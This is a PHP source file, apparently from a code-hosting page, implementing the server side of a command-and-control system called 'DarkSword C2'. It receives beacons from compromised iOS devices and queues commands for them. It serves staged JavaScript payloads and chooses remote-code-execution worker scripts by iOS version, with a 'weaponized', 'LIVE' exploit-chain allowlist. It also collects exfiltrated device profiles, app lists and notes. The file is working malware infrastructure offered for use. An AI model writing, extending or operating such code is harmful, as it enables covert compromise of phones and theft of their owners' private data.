462 lines
15 KiB
PHP
462 lines
15 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\C2;
|
|
|
|
use App\Http\Controllers\Controller;
|
|
use App\Models\Device;
|
|
use App\Models\PageVisit;
|
|
use App\Services\DarkSwordIngestAdapter;
|
|
use App\Services\DsBeaconQueue;
|
|
use Illuminate\Http\Request;
|
|
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
|
|
|
/**
|
|
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
|
|
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
|
|
*/
|
|
class DarkSwordC2Controller extends Controller
|
|
{
|
|
public function __construct(
|
|
private readonly DarkSwordIngestAdapter $ingest,
|
|
private readonly DsBeaconQueue $beaconQueue,
|
|
) {}
|
|
|
|
/**
|
|
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
|
|
*/
|
|
public static function matches(Request $request): bool
|
|
{
|
|
$path = '/'.ltrim($request->path(), '/');
|
|
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
|
|
return false;
|
|
}
|
|
|
|
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
|
|
return false;
|
|
}
|
|
|
|
$ct = strtolower((string) $request->header('content-type', ''));
|
|
if (str_contains($ct, 'json')) {
|
|
return true;
|
|
}
|
|
|
|
$raw = ltrim((string) $request->getContent());
|
|
|
|
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
|
|
}
|
|
|
|
public function beacon(Request $request): SymfonyResponse
|
|
{
|
|
$payload = $this->jsonBody($request);
|
|
$device = $this->ingest->ensureDevice($request, $payload);
|
|
$command = $device ? $this->beaconQueue->dequeue($device) : null;
|
|
|
|
$body = [
|
|
'ok' => true,
|
|
'type' => $command['type'] ?? 'noop',
|
|
'client_ip' => $request->ip(),
|
|
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
|
];
|
|
if ($command !== null) {
|
|
$body['command_id'] = $command['command_id'];
|
|
$body['params'] = $command['params'];
|
|
}
|
|
|
|
return $this->finish($request, '/beacon', $payload, response()->json($body));
|
|
}
|
|
|
|
public function war(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/war', $this->jsonBody($request));
|
|
}
|
|
|
|
public function p(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/p', $this->jsonBody($request));
|
|
}
|
|
|
|
public function stats(Request $request): SymfonyResponse
|
|
{
|
|
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
|
|
'bytes' => strlen((string) $request->getContent()),
|
|
'ok' => true,
|
|
'path' => '/stats',
|
|
]));
|
|
}
|
|
|
|
public function log(Request $request): SymfonyResponse
|
|
{
|
|
$payload = $this->payloadFromQueryOrJson($request);
|
|
|
|
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
|
|
}
|
|
|
|
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
|
{
|
|
$path = '/'.ltrim($request->path(), '/');
|
|
$stage = $this->peStageName($name !== '' ? $name : $path);
|
|
$payload = $this->payloadFromQueryOrJson($request);
|
|
$payload['pe_stage'] = $stage;
|
|
$payload['stage'] = $payload['stage'] ?? 'pe';
|
|
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
|
|
|
|
$body = $this->previewBody($request);
|
|
if (is_array($body)) {
|
|
$body['pe_stage'] = $stage;
|
|
}
|
|
|
|
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
|
|
if (! is_file($file)) {
|
|
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
|
|
}
|
|
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
|
|
|
|
return $this->finish(
|
|
$request,
|
|
$path,
|
|
$payload,
|
|
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
|
|
$body
|
|
);
|
|
}
|
|
|
|
public function register(Request $request): SymfonyResponse
|
|
{
|
|
$payload = $this->jsonBody($request);
|
|
$device = strtoupper((string) (
|
|
$payload['deviceUUID']
|
|
?? $payload['device']
|
|
?? $payload['uuid']
|
|
?? $request->header('X-Device-UUID')
|
|
?? ''
|
|
));
|
|
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
|
|
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
|
|
|
|
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
|
|
'ok' => true,
|
|
'device' => $device,
|
|
'deviceUUID' => $device,
|
|
'device_id' => $device,
|
|
'aliased' => false,
|
|
'ios_version' => $ios,
|
|
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
|
|
'target_chain_label' => 'D鏈',
|
|
'offset_params' => [
|
|
'ok' => true,
|
|
'mode' => 'probing',
|
|
'device' => null,
|
|
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
|
|
'build' => null,
|
|
'candidates' => [],
|
|
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
|
|
],
|
|
'sla_ms' => 15000,
|
|
's5_honest' => '',
|
|
]));
|
|
}
|
|
|
|
public function chainTargets(Request $request): SymfonyResponse
|
|
{
|
|
$forwarded = (string) $request->header('X-Forwarded-Host', '');
|
|
if ($forwarded !== '') {
|
|
$hostPort = explode(':', $forwarded, 2);
|
|
$host = $hostPort[0];
|
|
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
|
|
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
|
|
} else {
|
|
$host = $request->getHost();
|
|
$port = (int) $request->getPort();
|
|
$scheme = $request->getScheme();
|
|
}
|
|
$scheme = strtolower((string) $scheme);
|
|
if ($port === 443) {
|
|
$scheme = 'https';
|
|
}
|
|
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
|
$ios = $this->requestIos($request);
|
|
$ds = PageVisit::isDarkSwordIosVersionString($ios);
|
|
if ($ds) {
|
|
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
|
$chain = 'darksword';
|
|
$reason = 'DarkSword '.$ios;
|
|
} else {
|
|
$recommended = '';
|
|
$fallbacks = [];
|
|
$chain = 'coruna';
|
|
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
|
}
|
|
|
|
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
|
'ok' => true,
|
|
'chain' => $chain,
|
|
'weaponized' => true,
|
|
'gated' => false,
|
|
'ios' => $ios,
|
|
'reason' => $reason,
|
|
'recommended_worker' => $recommended,
|
|
'fallback_workers' => $fallbacks,
|
|
'band' => [
|
|
'recommended_worker' => $recommended,
|
|
'fallback_workers' => $fallbacks,
|
|
'usable_for_attempt' => $ds,
|
|
'usable_grade' => 'LIVE',
|
|
'weaponized' => true,
|
|
],
|
|
'exfil' => [
|
|
'host' => $host,
|
|
'domain' => $host,
|
|
'http_port' => $port,
|
|
'https_port' => $port,
|
|
'tls' => $scheme === 'https',
|
|
'prefer_https' => $scheme === 'https',
|
|
'stats_url' => $base.'/stats',
|
|
'stats_url_direct' => $base.'/stats',
|
|
'delivery_stats_url' => $base.'/stats',
|
|
],
|
|
'delivery_ok' => true,
|
|
'entry_point' => '',
|
|
'redirect_to' => '',
|
|
's5_module' => '',
|
|
'usable_grade' => 'LIVE',
|
|
]));
|
|
}
|
|
|
|
public function profile(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/a', $this->jsonBody($request));
|
|
}
|
|
|
|
public function apps(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/u', $this->jsonBody($request));
|
|
}
|
|
|
|
public function notes(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/nb', $this->jsonBody($request));
|
|
}
|
|
|
|
public function event(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/event', $this->jsonBody($request));
|
|
}
|
|
|
|
public function result(Request $request): SymfonyResponse
|
|
{
|
|
return $this->ok($request, '/result', $this->jsonBody($request));
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ok(Request $request, string $path, array $payload): SymfonyResponse
|
|
{
|
|
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
|
|
}
|
|
|
|
private function logAck(Request $request): SymfonyResponse
|
|
{
|
|
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
|
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
|
|
}
|
|
|
|
return response()->json(['status' => 'accepted']);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
* @param array<string, mixed>|string|null $logBody
|
|
*/
|
|
private function finish(
|
|
Request $request,
|
|
string $path,
|
|
array $payload,
|
|
SymfonyResponse $response,
|
|
array|string|null $logBody = null,
|
|
bool $ingest = true,
|
|
): SymfonyResponse {
|
|
if ($ingest) {
|
|
try {
|
|
$this->ingest->ingest($request, $path, $payload);
|
|
} catch (\Throwable $e) {
|
|
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
|
}
|
|
}
|
|
|
|
$body = $logBody ?? $this->previewBody($request);
|
|
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
|
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
|
|
?? $request->attributes->get('coruna_device_key');
|
|
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
|
$entry = [
|
|
'dir' => 'ds',
|
|
'method' => $request->method(),
|
|
'path' => $path,
|
|
'ip' => $request->ip(),
|
|
'query' => $request->query(),
|
|
'headers' => c2_log_request_meta($request)['headers'],
|
|
'body' => $body,
|
|
'response' => $respPreview,
|
|
];
|
|
create_log($entry, 'ds');
|
|
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
|
|
}
|
|
|
|
return $response;
|
|
}
|
|
|
|
/**
|
|
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
|
|
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
|
|
*/
|
|
private function requestIos(Request $request): string
|
|
{
|
|
$ios = (string) $request->query('ios', '');
|
|
if ($ios !== '') {
|
|
return $ios;
|
|
}
|
|
|
|
$ua = (string) $request->userAgent();
|
|
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
|
|
$out = $m[1].'.'.$m[2];
|
|
if (($m[3] ?? '') !== '') {
|
|
$out .= '.'.$m[3];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
return '';
|
|
}
|
|
|
|
/**
|
|
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
|
*
|
|
* @return array{0: string, 1: list<string>}
|
|
*/
|
|
private function chainTargetWorkers(string $ios): array
|
|
{
|
|
$canon = PageVisit::canonicalIosVersion($ios);
|
|
|
|
return match ($canon) {
|
|
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
|
default => ['rce_worker_18.6.js', []],
|
|
};
|
|
}
|
|
|
|
private function isDefaultPort(string $scheme, int $port): bool
|
|
{
|
|
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
|
|
}
|
|
|
|
private function peStageName(string $path): string
|
|
{
|
|
$name = basename($path);
|
|
$name = (string) preg_replace('/\.js$/i', '', $name);
|
|
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
|
|
|
|
return $name !== '' ? $name : 'unknown';
|
|
}
|
|
|
|
/**
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function payloadFromQueryOrJson(Request $request): array
|
|
{
|
|
$payload = $this->jsonBody($request);
|
|
if ($payload !== []) {
|
|
return $payload;
|
|
}
|
|
$query = $request->query();
|
|
|
|
return is_array($query) ? $query : [];
|
|
}
|
|
|
|
/**
|
|
* @return array<string, mixed>|string
|
|
*/
|
|
private function previewBody(Request $request): array|string
|
|
{
|
|
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
|
return ['query' => $request->query()];
|
|
}
|
|
|
|
$ct = strtolower((string) $request->header('content-type', ''));
|
|
if (str_contains($ct, 'multipart/')) {
|
|
$files = [];
|
|
foreach ($request->allFiles() as $key => $file) {
|
|
$list = is_array($file) ? $file : [$file];
|
|
foreach ($list as $f) {
|
|
$files[] = [
|
|
'field' => $key,
|
|
'name' => $f->getClientOriginalName(),
|
|
'size' => $f->getSize(),
|
|
];
|
|
}
|
|
}
|
|
|
|
return [
|
|
'multipart' => true,
|
|
'form' => $request->except(array_keys($request->allFiles())),
|
|
'files' => $files,
|
|
];
|
|
}
|
|
|
|
$raw = (string) $request->getContent();
|
|
$json = json_decode($raw, true);
|
|
if (is_array($json)) {
|
|
return $this->truncateArray($json);
|
|
}
|
|
|
|
return $this->previewString($raw, 4096);
|
|
}
|
|
|
|
/**
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function jsonBody(Request $request): array
|
|
{
|
|
$json = json_decode((string) $request->getContent(), true);
|
|
|
|
return is_array($json) ? $json : [];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $data
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
|
|
{
|
|
if ($depth > 4) {
|
|
return ['_truncated' => true];
|
|
}
|
|
$out = [];
|
|
$i = 0;
|
|
foreach ($data as $k => $v) {
|
|
if ($i++ > 80) {
|
|
$out['_more'] = true;
|
|
break;
|
|
}
|
|
if (is_string($v) && strlen($v) > $maxStr) {
|
|
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
|
|
} elseif (is_array($v)) {
|
|
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
|
|
} else {
|
|
$out[$k] = $v;
|
|
}
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function previewString(string $raw, int $max): string
|
|
{
|
|
if (strlen($raw) <= $max) {
|
|
return $raw;
|
|
}
|
|
|
|
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
|
|
}
|
|
}
|